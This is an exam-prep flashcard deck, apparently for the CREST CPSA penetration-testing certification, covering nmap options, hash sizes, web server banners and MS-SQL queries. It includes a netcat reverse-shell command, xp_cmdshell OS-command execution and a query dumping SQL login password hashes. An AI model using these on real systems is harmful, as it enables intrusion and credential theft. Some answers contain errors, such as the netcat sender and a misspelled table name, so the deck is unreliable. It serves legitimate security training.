CREST CPSA EXAM NEWEST 2025 WITH ACTUAL QUESTIONS AND CORRECT VERIFIED ANSWERS/ALREADY GRADED A+

CREST CPSA EXAM NEWEST 2025 WITH
ACTUAL QUESTIONS AND CORRECT
VERIFIED ANSWERS/ALREADY GRADED A+




Netcat : Reverse Shell ✔✔correct answer✔✔Listener:

nc -nlvp 4444


Sender:
nc -nv *IP to send to* 4444 /bin/bash


(sends shell!)
*Attacking Sender*



NMap : Scan Types ✔✔correct answer✔✔-sP : ping scan

-sS : syn scan ("half open" scan)
-sT : connect scan (full TCP)
-sU : UDP scan
-sO : protocol scan

,Port Count ✔✔correct answer✔✔65,536 (2^16) Ports



This applies to TCP AND UDP



NMap : Scan EVERY Port ✔✔correct answer✔✔TCP: nmap -p- <IP>

UDP: nmap -sU -p- <IP>



NMap : Common Options ✔✔correct answer✔✔-p1-65535 : Ports

-T[0-5] : "Scan Speed", can help hide you
-n : No DNS Resolution
-O : OS Detection
-A : AGGRESSIVE
-sV : Version Detection
-PN : No Ping
-6 : IPv6 Scan
-oA <file> : Output ALL types



NMap : DNS Reverse Lookup ✔✔correct answer✔✔nmap -R -sL -dns-server
<server> <IP Range>



Hash Lengths ✔✔correct answer✔✔MD5 : 16 Bytes

SHA-1 : 20 bytes

,SHA-256 : 32 Bytes
SHA-512 : 64 Bytes



IIS ✔✔correct answer✔✔Microsoft Web Server



Apache / Tomcat ✔✔correct answer✔✔Apache Web Servers



GWS ✔✔correct answer✔✔Google Web Server



Websphere ✔✔correct answer✔✔IBM Web Server



Litespeed ✔✔correct answer✔✔LiteSpeed Tech Web Server



MS-SQL : DB Version ✔✔correct answer✔✔SELECT @@version



EXEC xp_msver
(detailed version info)



MS-SQL : Run OS Command ✔✔correct answer✔✔EXEC master..xp_cmdshell
'net user'



MS-SQL : SELECT commands ✔✔correct answer✔✔SELECT HOST_NAME( ) :
Hostname and IP

, SELECT DB_NAME ( ) : Current DB


SELECT name FROM master..sysdatabases; : List DBs


SELECT user_name ( ) : Current user


SELECT name FROM master..syslogins : List users


SELECT name FROM master..sysobjects WHERE xtype='U'; : List Tables


SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjections
WHERE name='mytable'); : List columns



MS-SQL : List all Tables and Columns ✔✔correct answer✔✔SELECT name
FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =
'mytable')



MS-SQL : System Table (Info on All Tables) ✔✔correct answer✔✔SELECT TOP
1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES



MS-SQL 2005 Vulnerability (Password Hashes) ✔✔correct answer✔✔SELECT
name, password_hash FROM master.sys.sql_logins